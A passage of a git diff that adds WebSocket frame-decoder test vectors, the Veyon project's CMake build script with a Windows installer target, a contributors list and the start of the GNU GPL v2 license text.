.frame={0X82,0XFE,0X00,0X9F,0XB5,0X6E,0X7F,0X4C,0XF3,0X1C,0X1E,0X21,0XD0,0X5C,0X5F,0X28,0XDA,0X0B,0X0C,0X6C,0XD6,0X01,0X11,0X38,0XD4,0X07,0X11,0X6C,0XD8,0X1B,0X1C,0X24,0X95,0X03,0X10,0X3E,0XD0,0X4E,0X0B,0X29,0XCD,0X1A,0X5F,0X2D,0XDB,0X0A,0X5F,0X29,0XC3,0X0B,0X11,0X6C,0XD2,0X01,0X1A,0X3F,0X95,0X0C,0X1A,0X35,0XDA,0X00,0X1B,0X6C,0XC1,0X06,0X1A,0X6C,0X84,0X5C,0X49,0X6C,0XD7,0X17,0X0B,0X29,0X95,0X02,0X1A,0X22,0X95,0X08,0X16,0X29,0XD9,0X0A,0X51,0X6C,0XF3,0X1C,0X1E,0X21,0XD0,0X5C,0X5F,0X28,0XDA,0X0B,0X0C,0X6C,0XD6,0X01,0X11,0X38,0XD4,0X07,0X11,0X6C,0XD8,0X1B,0X1C,0X24,0X95,0X03,0X10,0X3E,0XD0,0X4E,0X0B,0X29,0XCD,0X1A,0X5F,0X2D,0XDB,0X0A,0X5F,0X29,0XC3,0X0B,0X11,0X6C,0XD2,0X01,0X1A,0X3F,0X95,0X0C,0X1A,0X35,0XDA,0X00,0X1B,0X6C,0XC1,0X06,0X1A,0X6C,0X84,0X5C,0X49,0X6C,0XD7,0X17,0X0B,0X29,0X95,0X02,0X1A,0X22,0X95,0X08,0X16,0X29,0XD9,0X0A,0X51}, + .expectedDecodeBuf={0X46,0X72,0X61,0X6D,0X65,0X32,0X20,0X64,0X6F,0X65,0X73,0X20,0X63,0X6F,0X6E,0X74,0X61,0X69,0X6E,0X20,0X6D,0X75,0X63,0X68,0X20,0X6D,0X6F,0X72,0X65,0X20,0X74,0X65,0X78,0X74,0X20,0X61,0X6E,0X64,0X20,0X65,0X76,0X65,0X6E,0X20,0X67,0X6F,0X65,0X73,0X20,0X62,0X65,0X79,0X6F,0X6E,0X64,0X20,0X74,0X68,0X65,0X20,0X31,0X32,0X36,0X20,0X62,0X79,0X74,0X65,0X20,0X6C,0X65,0X6E,0X20,0X66,0X69,0X65,0X6C,0X64,0X2E,0X20,0X46,0X72,0X61,0X6D,0X65,0X32,0X20,0X64,0X6F,0X65,0X73,0X20,0X63,0X6F,0X6E,0X74,0X61,0X69,0X6E,0X20,0X6D,0X75,0X63,0X68,0X20,0X6D,0X6F,0X72,0X65,0X20,0X74,0X65,0X78,0X74,0X20,0X61,0X6E,0X64,0X20,0X65,0X76,0X65,0X6E,0X20,0X67,0X6F,0X65,0X73,0X20,0X62,0X65,0X79,0X6F,0X6E,0X64,0X20,0X74,0X68,0X65,0X20,0X31,0X32,0X36,0X20,0X62,0X79,0X74,0X65,0X20,0X6C,0X65,0X6E,0X20,0X66,0X69,0X65,0X6C,0X64,0X2E}, + .frame_len=167, + .raw_payload_len=159, + .expected_errno=0, + .descr="Mid-long valid binary frame", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X88,0X82,0X6B,0X33,0X77,0X94,0X68,0XD8}, + .expectedDecodeBuf={0X03,0XEB}, + .frame_len=8, + .raw_payload_len=2, + .expected_errno=ECONNRESET, + .descr="Close frame (Reason 1003)", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X88,0XAD,0X4B,0XA1,0XCE,0XE8,0X48,0X4A,0X87,0XCF,0X26,0X81,0XAF,0XC8,0X28,0XCD,0XA1,0X9B,0X2E,0X81,0XBC,0X8D,0X2A,0XD2,0XA1,0X86,0X6B,0XC0,0XA0,0X8C,0X6B,0XCC,0XBB,0X8B,0X23,0X81,0XA3,0X87,0X39,0XC4,0XEE,0X9C,0X23,0XC0,0XA0,0XC8,0X3F,0XC9,0XAF,0X9C,0X6A}, + .expectedDecodeBuf={0X03,0XEB,0X49,0X27,0X6D,0X20,0X61,0X20,0X63,0X6C,0X6F,0X73,0X65,0X20,0X72,0X65,0X61,0X73,0X6F,0X6E,0X20,0X61,0X6E,0X64,0X20,0X6D,0X75,0X63,0X68,0X20,0X6D,0X6F,0X72,0X65,0X20,0X74,0X68,0X61,0X6E,0X20,0X74,0X68,0X61,0X74,0X21}, + .frame_len=51, + .raw_payload_len=45, + .expected_errno=ECONNRESET, + .descr="Close frame (Reason 1003) and msg", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X81,0X08,0X56,0X47,0X56,0X7A,0X64,0X47,0X6C,0X30}, + .expectedDecodeBuf={0X54,0X65,0X73,0X74,0X69,0X74}, + .frame_len=10, + .raw_payload_len=6, + .expected_errno=EPROTO, + .descr="Invalid frame: Wrong masking", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X81,0XFE,0X00,0X0F,0X71,0XE9,0X29,0X79,0X44,0XA4,0X07,0X23,0X3B,0X85,0X2C,0X55,0X1D,0X9E,0X06,0X23,0X27,0X9D}, + .expectedDecodeBuf={0X2E,0XFE,0X00,0X0F,0X72,0X65,0X20,0X49,0X70,0X73,0X75,0X6D}, + .frame_len=22, + .raw_payload_len=12, + .expected_errno=EPROTO, + .descr="Invalid frame: Length of < 126 with add. 16 bit len field", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X81,0XFF,0X00,0X00,0X00,0X00,0X00,0X00,0X80,0X40,0X2F,0X40,0XF3,0X5B,0X2F,0X40,0XF2,0X63,0X01,0X1A,0X8D,0X42,0X2A,0X6C,0XAB,0X59,0X00,0X1A,0X91,0X5A}, + .expectedDecodeBuf={0X2E,0XFF,0X00,0X00,0X00,0X00,0X00,0X00,0X80,0X40,0X72,0X65,0X20,0X49,0X70,0X73,0X75,0X6D}, + .frame_len=30, + .raw_payload_len=18, + .expected_errno=EPROTO, + .descr="Invalid frame: Length of < 126 with add. 64 bit len field", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X01,0XAC,0XC9,0X6E,0XC7,0X6E,0X9F,0X29,0XAF,0X1E,0XAA,0X17,0X85,0X1E,0XAA,0X17,0X85,0X06,0X80,0X29,0X9D,0X17,0X90,0X39,0XA3,0X1A,0X93,0X39,0XF2,0X5E,0X93,0X39,0X96,0X09,0XAD,0X5C,0X91,0X07,0XAA,0X5C,0XFE,0X04,0XA8,0X5C,0X91,0X5E,0X85,0X07,0XF3,0X1B}, + .expectedDecodeBuf={0X54,0X68,0X69,0X73,0X20,0X69,0X73,0X20,0X61,0X20,0X66,0X72,0X61,0X67,0X6D,0X65,0X6E,0X74,0X65,0X64,0X20,0X77,0X65,0X62,0X73,0X6F,0X63,0X6B,0X65,0X74,0X2E,0X2E,0X2E}, + .frame_len=50, + .raw_payload_len=33, + .expected_errno=0, + .descr="Continuation test frag1", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X00,0X9C,0X52,0XBC,0XD5,0X99,0X1E,0XD5,0XE1,0XEC,0X1B,0XFB,0X93,0XEC,0X08,0XFF,0X97,0XE9,0X36,0XFF,0X97,0XF7,0X30,0X8E,0X83,0XE3,0X1B,0XFB,0XEC,0XEC,0X1E,0XD5,0XE1,0XEC}, + .expectedDecodeBuf={0X2E,0X2E,0X2E,0X20,0X61,0X6E,0X64,0X20,0X69,0X74,0X20,0X67,0X6F,0X65,0X73,0X20,0X6F,0X6E,0X2E,0X2E,0X2E}, + .frame_len=34, + .raw_payload_len=21, + .expected_errno=0, + .descr="Continuation test frag2", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X80,0X94,0X3B,0X88,0XA1,0XE9,0X62,0XDF,0X94,0X82,0X72,0XCF,0X98,0X9C,0X72,0XCF,0XE7,0X9C,0X61,0XCB,0XE3,0X93,0X5F,0XCF,0X98,0X9E}, + .expectedDecodeBuf={0X61,0X6E,0X64,0X20,0X6F,0X6E,0X20,0X61,0X6E,0X64,0X20,0X73,0X74,0X6F,0X70}, + .frame_len=26, + .raw_payload_len=15, + .expected_errno=0, + .descr="Continuation test frag3", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + } +}; diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..e6d4789 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,305 @@ +CMAKE_MINIMUM_REQUIRED(VERSION 3.1.0) + +PROJECT(veyon) + +SET(CMAKE_MODULE_PATH ${CMAKE_SOURCE_DIR}/cmake/modules ${CMAKE_MODULE_PATH}) +IF(NOT CMAKE_BUILD_TYPE) + SET(CMAKE_BUILD_TYPE relwithdebinfo) +ENDIF() + +IF(COMMAND CMAKE_POLICY) + CMAKE_POLICY(SET CMP0009 NEW) + CMAKE_POLICY(SET CMP0020 NEW) +ENDIF() + +INCLUDE(AddFileDependencies) +INCLUDE(CheckCSourceCompiles) +INCLUDE(CheckIncludeFiles) +INCLUDE(CheckFunctionExists) +INCLUDE(CheckSymbolExists) +INCLUDE(CheckTypeSize) +INCLUDE(GNUInstallDirs) +INCLUDE(CotireVeyon) + +FIND_PACKAGE(Git) + +IF(GIT_FOUND) + EXECUTE_PROCESS(COMMAND "${GIT_EXECUTABLE}" describe --tags + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} + OUTPUT_STRIP_TRAILING_WHITESPACE + OUTPUT_VARIABLE VERSION_STRING) + STRING(REGEX REPLACE "^v([0-9]+)\\..*" "\\1" VERSION_MAJOR "${VERSION_STRING}") + STRING(REGEX REPLACE "^v[0-9]+\\.([0-9]+).*" "\\1" VERSION_MINOR "${VERSION_STRING}") + STRING(REGEX REPLACE "^v[0-9]+\\.[0-9]+\\.([0-9]+).*" "\\1" VERSION_PATCH "${VERSION_STRING}") + + # determine build number to use in NSIS installer and resource files + EXECUTE_PROCESS(COMMAND "${GIT_EXECUTABLE}" describe --tags + COMMAND cut -d "-" -f2 + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} + OUTPUT_STRIP_TRAILING_WHITESPACE + OUTPUT_VARIABLE VERSION_BUILD) + IF(NOT VERSION_BUILD GREATER 0) + SET(VERSION_BUILD 0) + ENDIF() + + # Get list of all committers from git history, ordered by number of commits. + # The CONTRIBUTORS file is used by AboutDialog. This information can be provided + # with -DCONTRIBUTORS=/path/to/CONTRIBUTORS instead. For instance, to generate + # this file for version 3.0.2, the command is: + # git shortlog -sne v3.0.2 | cut -c8- + SET(CONTRIBUTORS "${CMAKE_BINARY_DIR}/CONTRIBUTORS") + IF(NOT EXISTS "${CONTRIBUTORS}") + EXECUTE_PROCESS(COMMAND "${GIT_EXECUTABLE}" shortlog -s d160d147165271516589c304cb1b8f5e48f8527d..HEAD + COMMAND cut -c8- + COMMAND sort -f + OUTPUT_FILE "${CONTRIBUTORS}" + WORKING_DIRECTORY "${CMAKE_SOURCE_DIR}" + TIMEOUT 10) + ENDIF() + +ENDIF() + +# can't retrieve version information as not building from Git repository? +IF(NOT VERSION_STRING) + SET(VERSION_MAJOR 4) + SET(VERSION_MINOR 1) + SET(VERSION_PATCH 7) + SET(VERSION_BUILD 0) + SET(VERSION_STRING "${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCH}") +ELSE() + # remove leading character from tag name + STRING(REPLACE "v" "" VERSION_STRING "${VERSION_STRING}") +ENDIF() + +# set up compiler version variable +STRING(REGEX REPLACE "\\.[0-9]$" "" COMPILER_VERSION_MAJOR_MINOR ${CMAKE_CXX_COMPILER_VERSION}) + + +# set up basic platform variables +IF(WIN32) + SET(VEYON_BUILD_WIN32 1) +ELSE(WIN32) + IF(APPLE) + SET(VEYON_BUILD_APPLE 1) + ELSE(APPLE) + SET(VEYON_BUILD_LINUX 1) + ENDIF(APPLE) +ENDIF(WIN32) + +IF(WIN64) + SET(VEYON_BUILD_WIN64 TRUE) +ENDIF(WIN64) + +# set up library and plugin path variables +IF(CMAKE_INSTALL_LIBDIR) + SET(VEYON_LIB_DIR "${CMAKE_INSTALL_LIBDIR}/veyon" CACHE INTERNAL "Veyon library directory") +ELSE() + SET(VEYON_LIB_DIR lib/veyon CACHE INTERNAL "Veyon library directory") +ENDIF() + +SET(VEYON_INSTALL_DATADIR "${CMAKE_INSTALL_DATADIR}/veyon") + +IF(WIN32) + SET(VEYON_PLUGIN_DIR "plugins") + SET(VEYON_TRANSLATIONS_DIR "translations") +ELSE() + SET(VEYON_PLUGIN_DIR "../${VEYON_LIB_DIR}") + SET(VEYON_TRANSLATIONS_DIR "../share/veyon/translations") +ENDIF() + + +SET(VEYON_CORE_INCLUDE_DIR core/include) + +# find required Qt5 modules +FIND_PACKAGE(Qt5Core REQUIRED) +FIND_PACKAGE(Qt5Concurrent REQUIRED) +FIND_PACKAGE(Qt5Gui REQUIRED) +FIND_PACKAGE(Qt5Widgets REQUIRED) +FIND_PACKAGE(Qt5Network REQUIRED) +FIND_PACKAGE(Qt5LinguistTools REQUIRED) + +# find required libraries +FIND_PACKAGE(ZLIB REQUIRED) +FIND_PACKAGE(PNG REQUIRED) +FIND_PACKAGE(JPEG REQUIRED) +FIND_PACKAGE(LZO REQUIRED) +FIND_PACKAGE(QCA REQUIRED) + +# FindOpenSSL.cmake in recent versions of CMake will only find the DLLs instead +# of the import libraries if CYGWIN is not set +SET(CYGWIN TRUE) +FIND_PACKAGE(OpenSSL REQUIRED) +UNSET(CYGWIN) + +# find Linux-specific packages +IF(VEYON_BUILD_LINUX) + FIND_PACKAGE(PAM REQUIRED) + INCLUDE(XdgInstall) +ENDIF() + + +### BEGIN: libvncclient configuration +CHECK_INCLUDE_FILES(endian.h LIBVNCSERVER_HAVE_ENDIAN_H) +CHECK_INCLUDE_FILES(limits.h LIBVNCSERVER_HAVE_LIMITS_H) +CHECK_INCLUDE_FILES(time.h LIBVNCSERVER_HAVE_TIME_H) +CHECK_INCLUDE_FILES(unistd.h LIBVNCSERVER_HAVE_UNISTD_H) +CHECK_INCLUDE_FILES(ws2tcpip.h LIBVNCSERVER_HAVE_WS2TCPIP_H) +CHECK_INCLUDE_FILES(netinet/in.h LIBVNCSERVER_HAVE_NETINET_IN_H) +CHECK_INCLUDE_FILES(sys/endian.h LIBVNCSERVER_HAVE_SYS_ENDIAN_H) +CHECK_INCLUDE_FILES(sys/socket.h LIBVNCSERVER_HAVE_SYS_SOCKET_H) +CHECK_INCLUDE_FILES(sys/stat.h LIBVNCSERVER_HAVE_SYS_STAT_H) +CHECK_INCLUDE_FILES(sys/time.h LIBVNCSERVER_HAVE_SYS_TIME_H) +CHECK_INCLUDE_FILES(sys/timeb.h LIBVNCSERVER_HAVE_SYS_TIMEB_H) +CHECK_INCLUDE_FILES(sys/types.h LIBVNCSERVER_HAVE_SYS_TYPES_H) + +IF(LIBVNCSERVER_HAVE_SYS_SOCKET_H) + LIST(APPEND CMAKE_EXTRA_INCLUDE_FILES "sys/socket.h") +ENDIF() + +CHECK_TYPE_SIZE("pid_t" LIBVNCSERVER_PID_T) +CHECK_TYPE_SIZE("size_t" LIBVNCSERVER_SIZE_T) +CHECK_TYPE_SIZE("socklen_t" LIBVNCSERVER_SOCKLEN_T) + +SET(_RFB_RFBCONFIG_H TRUE) +SET(LIBVNCSERVER_HAVE_LIBJPEG TRUE) +SET(LIBVNCSERVER_HAVE_LZO TRUE) +SET(LIBVNCSERVER_HAVE_LIBPNG TRUE) +SET(LIBVNCSERVER_HAVE_LIBZ TRUE) +SET(LIBVNCSERVER_HAVE_LIBSSL TRUE) +SET(LIBVNCSERVER_IPv6 TRUE) + +IF(VEYON_BUILD_WIN32) + SET(LIBVNCSERVER_NEED_INADDR_T TRUE) +ENDIF() + +FILE(MAKE_DIRECTORY ${CMAKE_BINARY_DIR}/${VEYON_CORE_INCLUDE_DIR}/rfb) +IF(NOT VEYON_BUILD_LINUX OR VEYON_X11VNC_EXTERNAL) + CONFIGURE_FILE(${CMAKE_SOURCE_DIR}/3rdparty/libvncserver/rfb/rfbconfig.h.cmakein ${CMAKE_BINARY_DIR}/${VEYON_CORE_INCLUDE_DIR}/rfb/rfbconfig.h @ONLY) +ENDIF() + +### END: libvncclient configuration + +# configure files for Veyon +SET(VEYONCONFIG ${CMAKE_BINARY_DIR}/${VEYON_CORE_INCLUDE_DIR}/veyonconfig.h) + +SET(IN_FILES ${VEYON_CORE_INCLUDE_DIR}/veyonconfig.h nsis/veyon.nsi core/builddata.qrc server/veyon-server.rc service/veyon-service.rc master/data/veyon-master.desktop master/veyon-master.rc configurator/data/veyon-configurator.desktop configurator/data/io.veyon.veyon-configurator.policy configurator/veyon-configurator.rc ctl/veyon-ctl.rc worker/veyon-worker.rc) +FOREACH(f ${IN_FILES}) + CONFIGURE_FILE(${CMAKE_SOURCE_DIR}/${f}.in ${CMAKE_BINARY_DIR}/${f} @ONLY) +ENDFOREACH(f ${IN_FILES}) + +SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall -fno-exceptions -std=c++11 -fstack-protector-strong ${CXXFLAGS}") +SET(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -fstack-protector-strong ${CFLAGS}") +IF(NOT VEYON_BUILD_WIN32) + SET(SYS_INC SYSTEM) +ENDIF() + +ADD_DEFINITIONS(-DQT_DEPRECATED_WARNINGS -DQT_DISABLE_DEPRECATED_BEFORE=0x050600 -D_FORTIFY_SOURCE=2) + +SET(3rdparty_DIR ${CMAKE_SOURCE_DIR}/3rdparty) +SET(ultravnc_DIR ${3rdparty_DIR}/ultravnc) +SET(libvncserver_DIR ${3rdparty_DIR}/libvncserver) +SET(x11vnc_DIR ${3rdparty_DIR}/x11vnc) + +INCLUDE_DIRECTORIES(${CMAKE_SOURCE_DIR}/${VEYON_CORE_INCLUDE_DIR} ${CMAKE_BINARY_DIR}/${VEYON_CORE_INCLUDE_DIR} ${libvncserver_DIR}) +INCLUDE_DIRECTORIES(${SYS_INC} ${ZLIB_INCLUDE_DIR} ${JPEG_INCLUDE_DIR} ${PNG_INCLUDE_DIR} ${QCA_INCLUDE_DIR} ${OPENSSL_INCLUDE_DIR} ${LZO_INCLUDE_DIR}) + +LINK_DIRECTORIES(${CMAKE_BINARY_DIR}/core) + +SET(CMAKE_SKIP_BUILD_RPATH FALSE) +SET(CMAKE_BUILD_WITH_INSTALL_RPATH FALSE) +SET(CMAKE_INSTALL_RPATH "${CMAKE_INSTALL_PREFIX}/${VEYON_LIB_DIR}") +SET(CMAKE_INSTALL_RPATH_USE_LINK_PATH TRUE) + +# make sub-directories +ADD_SUBDIRECTORY(core) +ADD_SUBDIRECTORY(server) +ADD_SUBDIRECTORY(service) +ADD_SUBDIRECTORY(master) +ADD_SUBDIRECTORY(configurator) +ADD_SUBDIRECTORY(ctl) +ADD_SUBDIRECTORY(worker) +ADD_SUBDIRECTORY(plugins) +ADD_SUBDIRECTORY(translations) + +# +# add target for generating Windows installer +# + +IF(WIN32) + SET(TMP "veyon-${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCH}.${VERSION_BUILD}") + + SET(DLLDIR "${MINGW_PREFIX}/bin") + SET(DLLDIR_LIB "${MINGW_PREFIX}/lib") + SET(DLLDIR_GCC "/usr/lib/gcc/${MINGW_TARGET}/${COMPILER_VERSION_MAJOR_MINOR}-win32") + IF(VEYON_BUILD_WIN64) + SET(DLL_GCC "libgcc_s_seh-1.dll") + SET(DLL_DDENGINE "ddengine64.dll") + ELSE() + SET(DLL_GCC "libgcc_s_sjlj-1.dll") + SET(DLL_DDENGINE "ddengine.dll") + ENDIF() + + ADD_CUSTOM_TARGET(win-nsi + COMMAND make + COMMAND rm -rf ${TMP} + COMMAND mkdir -p ${TMP}/interception + COMMAND cp ${CMAKE_SOURCE_DIR}/3rdparty/interception/* ${TMP}/interception + COMMAND cp ${CMAKE_SOURCE_DIR}/3rdparty/ddengine/${DLL_DDENGINE} ${TMP} + COMMAND cp core/veyon-core.dll server/veyon-server.exe service/veyon-service.exe plugins/vncserver/ultravnc-builtin/vnchooks/vnchooks.dll master/veyon-master.exe configurator/veyon-configurator.exe ctl/veyon-ctl.exe worker/veyon-worker.exe ${TMP} + COMMAND mkdir -p ${TMP}/plugins + COMMAND cp plugins/*/*.dll ${TMP}/plugins/ + COMMAND cp plugins/*/*/*.dll ${TMP}/plugins/ + COMMAND mkdir -p ${TMP}/translations + COMMAND cp translations/*qm ${TMP}/translations/ + COMMAND cp ${DLLDIR}/libjpeg-62.dll ${TMP} + COMMAND cp ${DLLDIR}/libpng16-16.dll ${TMP} + COMMAND cp ${DLLDIR}/libcrypto-1_1*.dll ${DLLDIR}/libssl-1_1*.dll ${TMP} + COMMAND cp ${DLLDIR}/libqca-qt5.dll ${TMP} + COMMAND cp ${DLLDIR}/libsasl2-3.dll ${TMP} + COMMAND cp ${DLLDIR}/libldap.dll ${DLLDIR}/liblber.dll ${TMP} + COMMAND cp ${DLLDIR}/interception.dll ${TMP} + COMMAND cp ${DLLDIR}/liblzo2-2.dll ${TMP} + COMMAND cp ${DLLDIR_LIB}/zlib1.dll ${TMP} + COMMAND cp ${DLLDIR_LIB}/libwinpthread-1.dll ${TMP} + COMMAND cp ${DLLDIR_GCC}/libstdc++-6.dll ${TMP} + COMMAND cp ${DLLDIR_GCC}/libssp-0.dll ${TMP} + COMMAND cp ${DLLDIR_GCC}/${DLL_GCC} ${TMP} + COMMAND mkdir -p ${TMP}/crypto + COMMAND cp ${DLLDIR_LIB}/qca-qt5/crypto/libqca-ossl.dll ${TMP}/crypto + COMMAND cp ${DLLDIR}/Qt5Core.dll ${DLLDIR}/Qt5Gui.dll ${DLLDIR}/Qt5Widgets.dll ${DLLDIR}/Qt5Network.dll ${TMP} + COMMAND mkdir -p ${TMP}/platforms + COMMAND cp ${DLLDIR_LIB}/qt5/plugins/platforms/qwindows.dll ${TMP}/platforms + COMMAND ${STRIP} ${TMP}/*.dll ${TMP}/*.exe ${TMP}/plugins/*.dll ${TMP}/platforms/*.dll ${TMP}/crypto/*.dll + COMMAND cp ${CMAKE_SOURCE_DIR}/COPYING ${TMP} + COMMAND cp ${CMAKE_SOURCE_DIR}/COPYING ${TMP}/LICENSE.TXT + COMMAND cp ${CMAKE_SOURCE_DIR}/README.md ${TMP}/README.TXT + COMMAND todos ${TMP}/*.txt ${TMP}/*.TXT + COMMAND cp nsis/veyon.nsi ${TMP} + COMMAND makensis ${TMP}/veyon.nsi + COMMAND mv ${TMP}/veyon-*setup.exe . + #COMMAND rm -rf ${TMP} + ) +ENDIF() + +# +# package generation +# +INCLUDE(cmake/CPackDefinitions.cmake) + + + +# +# display configuration information +# + +MESSAGE("\n" +"Veyon build summary\n" +"--------------------\n" +"* Version : ${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCH}.${VERSION_BUILD} (${VERSION_STRING})\n" +"* Install prefix : ${CMAKE_INSTALL_PREFIX}\n" +"* Library & plugin directory : ${CMAKE_INSTALL_PREFIX}/${VEYON_LIB_DIR}\n" +"* Build type : ${CMAKE_BUILD_TYPE}\n" +"* Build platform : ${CMAKE_SYSTEM_PROCESSOR}\n" +"* Compile flags : ${CMAKE_C_FLAGS} (CXX: ${CMAKE_CXX_FLAGS})\n" +) + diff --git a/CONTRIBUTORS b/CONTRIBUTORS new file mode 100644 index 0000000..6115fac --- /dev/null +++ b/CONTRIBUTORS @@ -0,0 +1,22 @@ +Aleksey Avdeev +Babycasèny Gavèrnmènt +barteekelder +Denis Medvedev +Eric Shamow +Extremas Saruncis +Florian Best +Gihun Ham +José Antonio Muñoz Jiménez +KHALDOUN Mohsen +Madan +Marco Bakera +Michael Gajda +miharix +Mike Gabriel +Paulo Henrique +Raphaël RIGNIER +Robert Marmorstein +Ryan Tandy +Sergio Garnica +swhaat +Tobias Junghans diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..1168b48 --- /dev/null +++ b/COPYING @@ -0,0 +1,352 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. 